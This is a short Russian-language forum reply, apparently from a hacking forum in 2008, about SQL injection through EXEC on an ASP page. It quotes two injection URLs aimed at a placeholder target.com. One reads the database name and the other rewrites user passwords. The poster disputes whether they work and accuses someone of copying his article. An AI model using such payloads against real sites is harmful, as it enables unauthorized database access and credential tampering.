Показать сообщение отдельно

  #5  
Старый 18.06.2008, 00:17
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме:
3887520

Репутация: 2996


По умолчанию

Цитата:
http://www.target.com/data.asp?id=1';EXEC('SEL'+'ECT db_name())--
http://www.target.com/data.asp?id=1';exec (*UPDA*+*TE users*+*SET password=123456*)—
не будет работать...
екзек запускает вызов системных процедур.

Вообще если по чесно слизано с моей статьи... причем мне меньше нравиться.